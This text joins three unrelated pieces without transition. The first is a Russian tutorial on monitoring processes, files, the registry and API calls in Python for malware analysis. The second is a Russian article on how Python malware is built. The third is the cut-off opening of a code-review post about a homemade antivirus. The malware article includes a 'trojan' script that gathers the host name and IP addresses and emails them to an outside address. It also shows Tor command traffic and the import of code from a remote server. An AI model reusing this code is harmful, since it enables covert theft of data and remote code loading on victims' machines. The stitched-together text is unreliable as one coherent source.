import wmi notify_filter = «creation» process_watcher = wmi.WMI().Win32_Process.watch_for(notify_filter) while True: new_process = process_watcher() print(new_process.Caption) print(new_process.CreationDate) |
Здесь notify_filter может принимать следующие значения:
- «operation» — реагируем на все возможные операции с процессами;
- «creation» — реагируем только на создание (запуск) процесса;
- «deletion» — реагируем только на завершение (уничтожение) процесса;
- «modification» — реагируем только на изменения в процессе.
Далее (в третьей строке) мы создаем объект‑наблюдатель process_watcher, который будет срабатывать каждый раз, когда наступает событие с процессами, определенное в notify_filter (в нашем случае при его запуске). После чего мы в бесконечном цикле выводим имя вновь запущенного процесса и время его запуска. Время представлено в виде строки в формате yyyymmddHHMMSS.mmmmmmsYYY (более подробно об этом формате можно почитать здесь), поэтому для вывода времени в более привычной форме можно написать нечто вроде функции преобразования формата времени:
def date_time_format(date_time): year = date_time[:4] month = date_time[4:6] day = date_time[6:8] hour = date_time[8:10] minutes = date_time[10:12] seconds = date_time[12:14] return ‘{0}/{1}/{2} {3}:{4}:{5}’.format(day, month, year, hour, minutes, seconds) |
Вообще, делать такие вещи просто в бесконечном цикле не очень хорошо, поэтому мы оформим все это в виде класса, чтобы потом запускать его в отдельном потоке. Таким образом мы получим возможность отслеживать в одном потоке, например, моменты создания процессов, а в другом — их уничтожения. Итак, класс ProcessMonitor:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
class ProcessMonitor(): def __init__(self, notify_filter=‘operation’): self._process_property = { ‘Caption’: None, ‘CreationDate’: None, ‘ProcessID’: None, } self._process_watcher = wmi.WMI().Win32_Process.watch_for( notify_filter ) def update(self): process = self._process_watcher() self._process_property[‘EventType’] = process.event_type self._process_property[‘Caption’] = process.Caption self._process_property[‘CreationDate’] = process.CreationDate self._process_property[‘ProcessID’] = process.ProcessID @property def event_type(self): return self._process_property[‘EventType’] @property def caption(self): return self._process_property[‘Caption’] @property def creation_date(self): return date_time_format(self._process_property[‘CreationDate’]) @property def process_id(self): return self._process_property[‘ProcessID’] |
При инициализации класса мы создаем список свойств процесса _process_property в виде словаря и определяем объект наблюдателя за процессами (при этом значение notify_filter может быть определено в момент инициализации класса и по умолчанию задано как «operation»). Список свойств процесса может быть расширен (более подробно о свойствах процессов можно почитать здесь).
Метод update() обновляет поля _process_property, когда происходит событие, определенное значением notify_filter, а методы event_type, caption, creation_date и process_id позволяют получить значения соответствующих полей списка свойств процесса (обрати внимание, что эти методы объявлены как свойства класса с использованием декоратора @property).
Теперь это все можно запускать в отдельном потоке. Для начала создадим класс Monitor, наследуемый от класса Thread (из Python-модуля threading):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
from threading import Thread import wmi import pythoncom ... # Не забываем вставить здесь описание класса ProcessMonitor ... class Monitor(Thread): def __init__(self, action): self._action = action Thread.__init__(self) def run(self): pythoncom.CoInitialize() proc_mon = ProcessMonitor(self._action) while True: proc_mon.update() print( proc_mon.creation_date, proc_mon.event_type, proc_mon.name, proc_mon.process_id ) pythoncom.CoUninitialize() |
При желании цикл можно сделать прерываемым, например по нажатию какого‑либо сочетания клавиш (для этого нужно использовать возможности модуля keyboard и его функции is_pressed()). Вместо вывода результатов на экран можно писать результат работы программы в лог‑файл, для чего применяется соответствующая функция, которую следует использовать вместо print().
Далее уже можно запускать мониторинг событий процессов в отдельных потоках:
# Отслеживаем события создания процессов mon_creation = Monitor(‘creation’) mon_creation.start() # Отслеживаем события уничтожения процессов mon_deletion = Monitor(‘deletion’) mon_deletion.start() |
В итоге получим примерно следующую картину.
Результаты работы нашего Python-скрипта для отслеживания событий создания и уничтожения процессов
Следим за файловыми операциями
Здесь, как мы и говорили в начале, можно пойти двумя путями: использовать специализированные API-функции Windows или возможности, предоставляемые механизмом WMI. В обоих случаях мониторинг событий лучше выполнять в отдельном потоке, так же как мы сделали при отслеживании процессов. Поэтому для начала опишем базовый класс FileMonitor, а затем от него наследуем класс FileMonitorAPI, в котором будем использовать специализированные API-функции Windows, и класс FileMonitorWMI, в котором применим механизмы WMI.
Итак, наш базовый класс будет выглядеть примерно так:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
class FileMonitor: def __init__(self, notify_filter, **kwargs): self._notify_filter = notify_filter self._kwargs = kwargs self._event_properties = { ‘Drive’: None, ‘Path’: None, ‘FileName’: None, ‘Extension’: None, ‘Timestamp’: None, ‘EventType’: None, } @property def drive(self): return self._event_properties[‘Drive’] @property def path(self): return self._event_properties[‘Path’] @property def file_name(self): return self._event_properties[‘FileName’] @property def extension(self): return self._event_properties[‘Extension’] @property def timestamp(self): return self._event_properties[‘Timestamp’] @property def event_type(self): return self._event_properties[‘EventType’] |
Здесь при инициализации также используется параметр notify_filter (его возможные значения определяются в зависимости от того, используются API или WMI) и параметр **kwargs, с помощью которого определяется путь к отслеживаемому файлу или каталогу, его имя, расширение и прочее. Эти значения также зависят от использования API или WMI и будут конкретизированы уже в классах‑наследниках. При инициализации класса создается словарь _event_property для хранения свойств события: имя диска, путь к файлу, имя файла, расширение, метка времени и тип события (по аналогии с классом мониторинга событий процессов). Ну а с остальными методами нашего базового класса, я думаю, все и так понятно: они позволяют получить значения соответствующего поля из словаря свойств события.
Используем API Windows
В основу этого варианта реализации мониторинга будет положена функция WaitForSingleObject(). Упомянутая функция занимается тем, что ждет, когда объект (хендл которого передан в качестве первого параметра) перейдет в сигнальное состояние, и возвращает WAIT_OBJECT_0, когда объект изменит свое состояние. Помимо этой функции, в Windows есть весьма полезная функция ReadDirectoryChangesW(), назначение которой — следить за изменениями файла или каталога, указанного в одном из параметров функции. Также в процессе мониторинга мы задействуем API CreateFile() и CreateEvent().
Итак, начнем.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
# Подключим все необходимые модули import pywintypes import win32api import win32event import win32con import win32file import winnt class FileMonitorAPI(FileMonitor): def __init__(self, notify_filter = ‘FileNameChange’, **kwargs): # Здесь в качестве **kwargs необходимо указывать # путь к файлу или директории # в виде «Path=r’e:\example\file.txt'» FileMonitor.__init__(self, notify_filter, **kwargs) # Получаем хендл нужного файла или каталога self._directory = win32file.CreateFile( self._kwargs[‘Path’], winnt.FILE_LIST_DIRECTORY, win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE, None, win32con.OPEN_EXISTING, win32con.FILE_FLAG_BACKUP_SEMANTICS | win32con.FILE_FLAG_OVERLAPPED, None ) # Инициализируем структуру типа OVERLAPPED self._overlapped = pywintypes.OVERLAPPED() # и поместим в нее хендл объекта «событие» в сброшенном состоянии self._overlapped.hEvent = win32event.CreateEvent( None, False, False, None ) # Выделим память, куда будет записана информация # об отслеживаемом файле или каталоге self._buffer = win32file.AllocateReadBuffer(1024) # Здесь будет число байтов сведений о файле или каталоге, # записанных при наступлении события self._num_bytes_returned = 0 # Установим «наблюдатель» за событиями (его мы опишем ниже) self._set_watcher() |
Значения параметра notify_filter коррелируют с константами FILE_NOTIFY_CHANGE_FILE_NAME, FILE_NOTIFY_CHANGE_DIR_NAME или FILE_NOTIFY_CHANGE_LAST_WRITE. Для их преобразования мы ниже опишем специальный метод. Также определим метод update(), с помощью которого и будем обновлять сведения о произошедшем событии.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
def update(self): while True: # Ждем наступления события (поскольку второй параметр 0, то время # ожидания бесконечно) result = win32event.WaitForSingleObject(self._overlapped.hEvent, 0) if result == win32con.WAIT_OBJECT_0: # Если событие произошло, то получим размер сохраненных сведений о событии self._num_bytes_returned = win32file.GetOverlappedResult( self._directory, self._overlapped, True ) # Поместим информацию о событии в _event_properties self._event_properties[‘Path’] = self._get_path() self._event_properties[‘FileName’] = self._get_file_name() ... self._set_watcher() break |
Напишем метод установки «наблюдателя» за событиями в файловой системе (в ней мы задействуем функцию ReadDirectoryChangesW()):
def _set_watcher(self): win32file.ReadDirectoryChangesW( self._directory, self._buffer, True, self._get_notify_filter_const(), self._overlapped, None ) |
Поскольку в качестве одного из параметров ReadDirectoryChangesW() принимает константы, определяющие тип отслеживаемого события, то определим метод, преобразующий значения параметра notify_filter в указанные константы.
def _get_notify_filter_const(self): if self._notify_filter == ‘FileNameChange’: return win32con.FILE_NOTIFY_CHANGE_FILE_NAME ... |
Здесь для простоты показано преобразование в константу только одного значения
notify_filter, по аналогии можно описать преобразование других значений
notify_filter в константы
FILE_NOTIFY_CHANGE_DIR_NAME или
FILE_NOTIFY_CHANGE_LAST_WRITE.
Далее определим методы, возвращающие сохраненные в буфере _buffer свойства события при наступлении этого события. Возвращающий тип события метод выглядит так:
def _get_event_type(self): result = » if self._num_bytes_returned != 0: result = self._ACTIONS.get(win32file.FILE_NOTIFY_INFORMATION( self._buffer, self._num_bytes_returned)[0][0], ‘Uncnown’) return result |
В этом методе используется константа _ACTIONS, содержащая возможные действия с отслеживаемым файлом или каталогом. Эта константа определена в виде словаря следующим образом:
_ACTIONS = { 0x00000000: ‘Unknown action’, 0x00000001: ‘Added’, 0x00000002: ‘Removed’, 0x00000003: ‘Modified’, 0x00000004: ‘Renamed from file or directory’, 0x00000005: ‘Renamed to file or directory’ } |
Метод, возвращающий путь к отслеживаемому файлу:
def _get_path(self): result = » if self._num_bytes_returned != 0: result = win32file.GetFinalPathNameByHandle( self._directory, win32con.FILE_NAME_NORMALIZED ) return result |
Метод, возвращающий имя отслеживаемого файла, которое было сохранено в _buffer при наступлении события:
def _get_file_name(self): result = » if self._num_bytes_returned != 0: result = win32file.FILE_NOTIFY_INFORMATION( self._buffer, self._num_bytes_returned)[0][1] return result |
Задействовать это все можно следующим образом (по аналогии с мониторингом процессов):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
from threading import Thread import pywintypes import win32api import win32event import win32con import win32file import winnt ... # Не забываем вставить здесь описание классов FileMonitor и FileMonitorAPI ... # Опишем класс Monitor, наследуемый от Thread class Monitor(Thread): def __init__(self): Thread.__init__(self) def run(self): # Используем значение notify_filter по умолчанию file_mon = pymonitor.FileMonitorAPI(Path=r‘e:\example’) while True: file_mon.update() print(file_mon.timestamp, file_mon.path, file_mon.file_name, file_mon.event_type ) # Создадим экземпляр класса Monitor mon = Monitor() # Запустим процесс мониторинга mon.start() |
Используем WMI
Мониторинг событий файловой системы с использованием WMI похож на ранее рассмотренное отслеживание событий с процессами. Для того чтобы следить за изменениями конкретного файла, воспользуемся следующим кодом:
import wmi notify_filter = «creation» # «Наблюдатель» за изменениями в файле file_watcher = wmi.WMI().CIM_DataFile.watch_for( notify_filter, Drive = ‘e:’, Path=r‘\example_dir\’, FileName=‘example_file’, Extension = ‘txt’ ) while True: # Выводим информацию о событии с файлом new_file = file_watcher() print(new_file.timestamp) print(new_file.event_type) |
Здесь видно, что, помимо параметра notify_filter, еще передаются параметры, определяющие файл, события которого необходимо отслеживать. Обрати внимание на особенность написания параметра Path с модификатором r (он нужен для того, чтобы получить требуемое количество слешей‑разделителей в строке).
Для отслеживания изменений в каталоге, а не в файле вместо класса CIM_DataFile необходимо использовать класс CIM_Directory (более подробно о работе с файловой системой с помощью WMI можно почитать здесь):
directory_watcher = wmi.WMI().CIM_Directory.watch_for( notify_filter, Drive = ‘e:’, Path=r‘\example_dir\’ ) |
Конечно, все это желательно оформить в виде класса — наследника от нашего базового класса FileMonitor, описанного выше, чтобы мониторинг событий файловой системы можно было запустить в отдельном потоке. В целом полную реализацию описанных классов по мониторингу файловой системы можно посмотреть на моем гитхабе.
Мониторим действия с реестром
Так же как и события файловой системы, события реестра можно отслеживать либо с помощью специализированных API-функций, либо с использованием механизмов WMI. Предлагаю, как и в случае с событиями файловой системы, начать с написания базового класса RegistryMonitir, от которого наследовать классы RegistryMonitorAPI и RegistryMomitorWMI:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
class RegistryMonitor: def __init__(self, notify_filter, **kwargs): self._notify_filter = notify_filter self._kwargs = kwargs self._event_properties = { ‘Hive’: None, ‘RootPath’: None, ‘KeyPath’: None, ‘ValueName’: None, ‘Timestamp’: None, ‘EventType’: None, } @property def hive(self): return self._event_properties[‘Hive’] @property def root_path(self): return self._event_properties[‘RootPath’] @property def key_path(self): return self._event_properties[‘KeyPath’] @property def value_name(self): return self._event_properties[‘ValueName’] @property def timestamp(self): return self._event_properties[‘Timestamp’] @property def event_type(self): return self._event_properties[‘EventType’] |
Здесь в **kwargs передаются параметры Hive, RootPath, KeyPath и ValueName, значения которых и определяют место в реестре, за которым мы будем следить. Значение параметра notify_filter, как и в предыдущих случаях, определяет отслеживаемые действия.
Используем API
Здесь мы так же, как и в случае с файловой системой, используем связку API-функций CreateEvent() и WaitForSingleObject(). При этом хендл отслеживаемого объекта получим с использованием RegOpenKeyEx() со значением последнего параметра (которым определяется доступ к желаемому ключу реестра):
class RegistryMonitorAPI(RegistryMonitor): def __init__(self, notify_filter=‘UnionChange’, **kwargs): RegistryMonitor.__init__(self, notify_filter, **kwargs) # Создаем объект «событие» self._event = win32event.CreateEvent(None, False, False, None) # Открываем нужный ключ с правами доступа на уведомление изменений self._key = win32api.RegOpenKeyEx( self._get_hive_const(), self._kwargs[‘KeyPath’], 0, win32con.KEY_NOTIFY ) # Устанавливаем наблюдатель self._set_watcher() |
Функция _get_hive_const() преобразует имя куста реестра в соответствующую константу (HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, HKEY_USERS или HKEY_CURRENT_CONFIG):
def _get_hive_const(self): if self._kwargs[‘Hive’] == ‘HKEY_CLASSES_ROOT’: return win32con.HKEY_CLASSES_ROOT ... if self._kwargs[‘Hive’] == ‘HKEY_CURRENT_CONFIG’: return win32con.HKEY_CURRENT_CONFIG Сам же «наблюдатель» реализуем с помощью API-функции RegNotifyChangeKeyValue(): def _set_watcher(self): win32api.RegNotifyChangeKeyValue( self._key, True, self._get_notify_filter_const(), self._event, True ) |
Здесь _get_notify_filter(), исходя из значения notify_filter, выдает константу, определяющую событие, на которое будет реакция (REG_NOTIFY_CHANGE_NAME, REG_NOTIFY_CHANGE_LAST_SET), или их дизъюнкцию:
def _get_notify_filter_const(self): if self._notify_filter == ‘NameChange’: return win32api.REG_NOTIFY_CHANGE_NAME if self._notify_filter == ‘LastSetChange’: return win32api.REG_NOTIFY_CHANGE_LAST_SET if self._notify_filter == ‘UnionChange’: return ( win32api.REG_NOTIFY_CHANGE_NAME | win32api.REG_NOTIFY_CHANGE_LAST_SET ) |
Метод update() практически полностью повторяет таковой из класса FileMonitorAPI().
def update(self): while True: result = win32event.WaitForSingleObject(self._event, 0) if result == win32con.WAIT_OBJECT_0: self._event_properties[‘Hive’] = self._kwargs[‘Hive’] self._event_properties[‘KeyPath’] = self._kwargs[‘KeyPath’] ... self._set_watcher() break |
Вообще, у API-функций, предназначенных для отслеживания изменений в файловой системе или в реестре, есть особенность, заключающаяся в том, что значение времени наступления события сами эти функции не фиксируют (в отличие от классов WMI), и в случае необходимости это надо делать самому (к примеру, используя datatime).
timestamp = datetime.datetime.fromtimestamp( datetime.datetime.utcnow().timestamp() ) |
Данный кусочек кода необходимо вставить в метод update() (как класса FileMonitorAPI, так и класса RegistryMonitorAPI) после проверки условия появления события, и в переменной timestamp запишется соответствующее время.
Используем WMI
Здесь имеется два отличия относительно класса FileMonitorWMI. Первое: события, связанные с реестром, являются внешними (в то время как события, связанные с процессами и файловой системой, — внутренние). Второе: для мониторинга изменений в ветке реестра, ключе реестра или значении, записанном в какой‑либо ключ, необходимо использовать разные классы WMI: RegistryTreeChangeEvent, RegistryKeyChangeEvent или RegistryValueChangeEvent.
Соответственно, установка «наблюдателя» при инициализации экземпляра класса RegisterMonitorWMI в данном случае будет выглядеть так:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
def __init__(self, notify_filter=‘ValueChange’, **kwargs): RegistryMonitor.__init__(self, notify_filter, **kwargs) # Подключаем пространство имен с классами внешних событий wmi_obj = wmi.WMI(namespace=‘root/DEFAULT’) # Мониторим изменения ветки реестра if notify_filter == ‘TreeChange’: self._watcher = wmi_obj.RegistryTreeChangeEvent.watch_for( Hive=self._kwargs[‘Hive’], RootPath=self._kwargs[‘RootPath’], ) # Мониторим изменения ключа реестра elif notify_filter == ‘KeyChange’: self._watcher = wmi_obj.RegistryKeyChangeEvent.watch_for( Hive=self._kwargs[‘Hive’], KeyPath=self._kwargs[‘KeyPath’], ) # Мониторим изменения значения elif notify_filter == ‘ValueChange’: self._watcher = wmi_obj.RegistryValueChangeEvent.watch_for( Hive=self._kwargs[‘Hive’], KeyPath=self._kwargs[‘KeyPath’], ValueName=self._kwargs[‘ValueName’], ) |
Все остальное (в том числе и метод update()), в принципе, очень похоже на FileMonitorWMI. Полностью всю реализацию классов RegisterMonitor, RegisterMonitorAPI и RegisterMonitorWMI можно посмотреть здесь.
Мониторим вызовы API-функций
Здесь, как мы и говорили, нам понадобится WinAppDbg. Вообще, с помощью этого модуля можно не только перехватывать вызовы API-функций, но и делать очень много других полезных вещей (более подробно об этом можно узнать в документации WinAppDbg). К сожалению, помимо того что модуль ориентирован исключительно для работы со второй версией Python, он использует стандартный механизм отладки Windows. Поэтому если анализируемая программа оснащена хотя бы простейшим модулем антиотладки (а об этих модулях можно почитать, например, в статьях «Антиотладка. Теория и практика защиты приложений от дебага» и «Библиотека антиотладчика)», то перехватить вызовы API не получится. Тем не менее это весьма мощный инструмент, потому знать о его существовании и хотя бы в минимальной степени овладеть его возможностями будет весьма полезно.
Итак, для перехвата API-функции будем использовать класс EventHandler, от которого наследуем свой класс (назовем его, к примеру APIIntercepter). В нем мы реализуем нужные нам функции.
# Не забудем подключить нужные модули from winappdbg import Debug, EventHandler from winappdbg.win32 import * class APIIntercepter(EventHandler): # Будем перехватывать API-функцию GetProcAddress из kernel32.dll apiHooks = { ‘kernel32.dll’ : [ (‘GetProcAddress’, (HANDLE, PVOID)), ], } |
Как видно, в составе класса EventHandler определен словарь apiHooks, в который при описании класса‑наследника необходимо прописать все перехватываемые функции, не забыв про названия DLL-библиотек. Форма записи следующая:
‘<имя DLL-библиотеки_1>’ : [ (‘<имя API-функции_1>’, (<параметр_1>, <параметр_2>, <параметр_3>, ...), (‘<имя API-функции_2>’, (<параметр_1>, <параметр_2>, <параметр_3>, ...), (‘<имя API-функции_3>’, (<параметр_1>, <параметр_2>, <параметр_3>, ...), ... ], ‘<имя DLL-библиотеки_2>’ : [ (‘<имя API-функции_1>’, (<параметр_1>, <параметр_2>, <параметр_3>, ...), (‘<имя API-функции_2>’, (<параметр_1>, <параметр_2>, <параметр_3>, ...), (‘<имя API-функции_3>’, (<параметр_1>, <параметр_2>, <параметр_3>, ...), ... ], ... |
Чтобы правильно сформировать данный словарь, нужно знать прототипы перехватываемых функций (то есть перечень и типы передаваемых в функции параметров). Все это можно посмотреть в MSDN.
После того как мы определились с перечнем перехватываемых функций, необходимо для каждой перехватываемой API-функции написать два метода: первый будет срабатывать при вызове функции, второй — при завершении ее работы. Для функции GetProcAddress() эти методы выглядят так:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
# Вызывается при вызове GetProcAddress def pre_GetProcAddress(self, event, retaddr, hModule, lpProcName): # Выводим информацию при запуске функции # Получаем имя переданной в GetProcAddress в качестве параметра функции string = event.get_process().peek_string(lpProcName) # Получаем ID потока, в котором произошел вызов GetProcAddress tid = event.get_tid() # Выводим это все на экран print «%d: Call GetProcAddress: %s» % (tid, string) # Вызывается при завершении GetProcAddress def post_GetProcAddress(self, event, retval): # Выводим информацию по завершении функции # Получаем ID потока, в котором произошел вызов GetProcAddress tid = event.get_tid() # Проверяем наличие возвращаемого значения if retval: # Если возвращаемое значение не None, выводим его на экран print «%d: Success. Return value: %x» % (tid, retval) else: print «%d: Failed!» % tid |
В метод pre_GetProcAddress первым параметром передается объект event, вторым — адрес возврата, третьим и последующими — параметры перехватываемой функции (здесь это просто переменные, значения которых будут записаны после очередного вызова перехватываемой функции, после чего их можно вывести с помощью print). В метод post_GetProcAddress() первым параметром также передается объект event, вторым — возвращаемое перехватываемой функцией значение (реальные значения туда будут записаны после завершения работы перехваченной API-функции).
Далее напишем функцию, которая и установит описанный нами перехватчик:
def set_api_interceptor(argv): # Создаем экземпляр объекта Debug, передав ему экземпляр APIIntercepter with Debug(APIIntercepter(), bKillOnExit=True) as debug: # Запустим анализируемую программу в режиме отладки # Путь к анализируемой программе должен быть в argv debug.execv(argv) # Ожидаем, пока не закончится отладка debug.loop() |
И запустим эту функцию:
import sys set_api_interceptor(sys.argv[1:]) |
В итоге должна получиться примерно такая картина.
Перехват функции GetProcAddress (видно, что анализируемый файл, скорее всего, пытается внедрить что‑то в удаленный поток)
В методах, вызываемых при вызове и завершении работы API-функции (в нашем случае это pre_GetProcAddress() и post_GetProcAddress()), можно программировать какие угодно действия, а не только вывод информации о вызове API-функции, как это сделали мы.
Заключение
Используя Python и несколько полезных пакетов, можно получить довольно большой объем информации о событиях, происходящих в системе при запуске той или иной программы. Конечно, все это желательно делать в изолированном окружении (особенно если анализировать крайне подозрительные программы).
Полностью написанный код классов анализа событий процессов, файловой системы и реестра можно посмотреть на моем гитхабе. Он также присутствует в PyPi, что позволяет установить его командой pip install pywinwatcher и использовать по своему усмотрению.
В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.
Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?
Если отбросить часть иронии…
… и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.
Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.
Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.
Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.
Упаковка в бинарники
Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.
- https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор, ваш код + все необходимые зависимости.
- https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в С и потом компилирует его.
Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.
Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.
А шо вирусу делать?
Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.
Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.
Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.
Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.
from torpy import TorClient
hostname = 'ifconfig.me' # It's possible use onion hostname here as well
tor = TorClient()
# Choose random guard node and create 3-hops circuit
with tor.create_circuit(3) as circuit:
# Create tor stream to host
with circuit.create_stream((hostname, 80)) as stream:
# Now we can communicate with host
stream.send(b'GET / HTTP/1.0rnHost: %srnrn' % hostname.encode())
recv = stream.recv(1024)
Работа с tor c этой либой проста, не сложнее requests.
А шо бы своровать?
Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?
На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.
# pyscreenshot/examples/grabfullscreen.py
"Grab the whole screen"
import pyscreenshot as ImageGrab
# grab fullscreen
im = ImageGrab.grab()
# save image file
im.save("fullscreen.png")
Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.
Серверная токсичность
Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.
Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.
Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.
Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.
Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше! Но самый простой в реализации способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.
>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'):
... import package1
...
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'):
... import covertutils
... # Also works with 'bitbucket_repo' and 'gitlab_repo'
Трояны
Теория
Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.
Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.
import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'demo@spy-soft.net'
password = '***'
dest_email = 'demo@spy-soft.net'
subject = 'IP'
email_text = (f'Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}')
message = 'From: {}nTo: {}nSubject: {}nn{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()
Вот и все
Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.
Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.
Просмотры: 2 961
I wrote a simple antivirus in Python and would love feedback for additional ideas to implement, as well as general code review.
So far it has a FileScanner
that checks against a database of known virus hashes and a network scanner that checks against a database of potentially malicious IP addresses.
I’m very curious about what I can do to move forward with this project.
#!/usr/bin/env python
import os
import re
import time
import psutil
import hashlib
import sqlite3
import requests
import threading
from bs4 import BeautifulSoup
from argparse import ArgumentParser
WINDOWS = os.name == 'nt'
if WINDOWS:
from win10toast import ToastNotifier
class DB(object):
